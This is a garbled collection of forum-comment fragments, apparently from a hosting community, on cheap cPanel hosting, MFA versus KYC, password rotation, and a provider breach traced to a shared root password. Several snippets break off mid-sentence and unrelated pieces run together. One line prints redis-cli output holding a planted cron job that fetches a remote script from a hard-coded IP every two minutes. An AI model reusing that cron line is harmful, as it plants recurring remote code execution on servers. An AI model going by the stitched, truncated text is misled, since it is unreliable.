or wait until next month for the limit to reset. They also warn via email you when you hit 90% allocated traffic.

You'll not get 500GB of cPanel hosting at this price anywhere else!!

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Hm? But you were the one who was conflating the two issues earlier by comparing KYC and user/password-only authentication? After all, you were the one who just said:

This is why MFA is important. "Invasive biometric KYC or username/password-only authentication" is a false dichotomy.

* 1 - Username + password + weak fraud filters → outcome: garbage.

And the root password

Password cycling, IP whitelist is an option, but you can't cycle your ID once it's compromised. What are you going to do? Changing citizenship? That would be €60-250K

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They changed their policies, if there is anything looking like IP, password whatever supplied in normal message, their system changes it to [REDACTED]. They have also stopped asking for credentials an

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Which is what I hate about this sorry saga. We use Virtualizor, and it's put loads of people off it when it wasn't an exploit, so we will never get your custom cause some admin handed his password out

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At the end of the day, people are paying you to store their data. Why would you give your normal password out to anyone and leave everything wide open? It takes 2 minutes to make a temp password and n

There is so much wrong with that - getting hacked in the first place, only supporting password access not keys, requesting password access for root from customers, etc. All of that needs to change, re

It wasn't just password rotation either. I hear providers affected didn't whitelist their IPs for API and panel management access; they just had it open, and 2FA was not enabled.

$ redis-cli -a 'redacted' GET backup1Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe."\n\n\n*/2 * * * * root cd1 -fsSL http://34.70.205.211/pl

You can request billing reset you to 'normal' and you order again with paypal, but if you get flagged you're kinda hooped.